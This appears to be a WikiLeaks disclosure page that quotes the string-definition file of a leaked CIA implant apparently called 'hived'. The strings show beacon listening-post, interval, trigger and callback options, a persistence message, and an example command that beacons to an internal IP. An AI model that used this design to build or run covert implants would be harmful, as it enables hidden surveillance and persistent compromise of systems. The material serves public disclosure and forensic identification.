This publication will enable investigative journalists, forensic experts and the general public to better identify and understand covert CIA infrastructure components.
Source code published in this series contains software designed to run on servers controlled by the CIA. Like WikiLeaks' earlier Vault7 series, the material published by WikiLeaks does not contain 0-days or similar security vulnerabilities which could be repurposed by others.
// main.c Strings======================================== // Note that we use a C code style for comments... // Recommend that we list the name of the sourcecode file that contains/uses // the string like we did above. // // The "#define n" portion below is standard. // // Name of String String contents enclosed in double quotes. // | | // | | // | | // V V // main.c #define n insufficient_permissions " Insufficient permissions. Try again knucklehead.\n" #define n usageString "Usage:\n" #define n commandString "-a [address] -i [interval] -I [interface] \n\n" #define n aOptionString "[-a address] - beacon LP IP address\n" #define n pOptionString "[-p port] - (optinal) beacon LP port [default: 443]\n" #define n iOptionString "[-i interval] - beacon interval (in seconds) [default: 3 hours]\n" #define n IOptionString "[-I interface] - Solaris only, interface to listen for triggers\n" #define n dOptionString "[-d b_delay] - (optional) initial beacon delay (in seconds) [default: 2 minutes]\n" #define n tOptionString "[-t t_delay] - (optional) delay between trigger received & callback +/- 30 sec (in sec) [default: 1 min]\n" #define n hOptionString "[-h] - print help\n\n\n" #define n example_head "Example:\n" #define n example_line1 "./hived-solaris-sparc-dbg -a 10.3.2.76 -p 9999 -i 100000 -I hme0\n" #define n noBeaconPortString " No Beacon Port Specified! \n" #define n noBeaconIPString " No Beacon IP address specified! \n" #define n noBeaconInterval " No Beacon Interval specified! \n" #define n beaconFailStartString " Beacon Failed to Start!\n" #define n persistFailSetupString " Could not enable Persistence!\n" #define n cmdLineOptionFlags "I:a:p:d:i:t:hc" #define n proc_uptime "/proc/uptime" #define n interfaceRequiredString " You must use the -I option for Solaris, this will abort shortly... "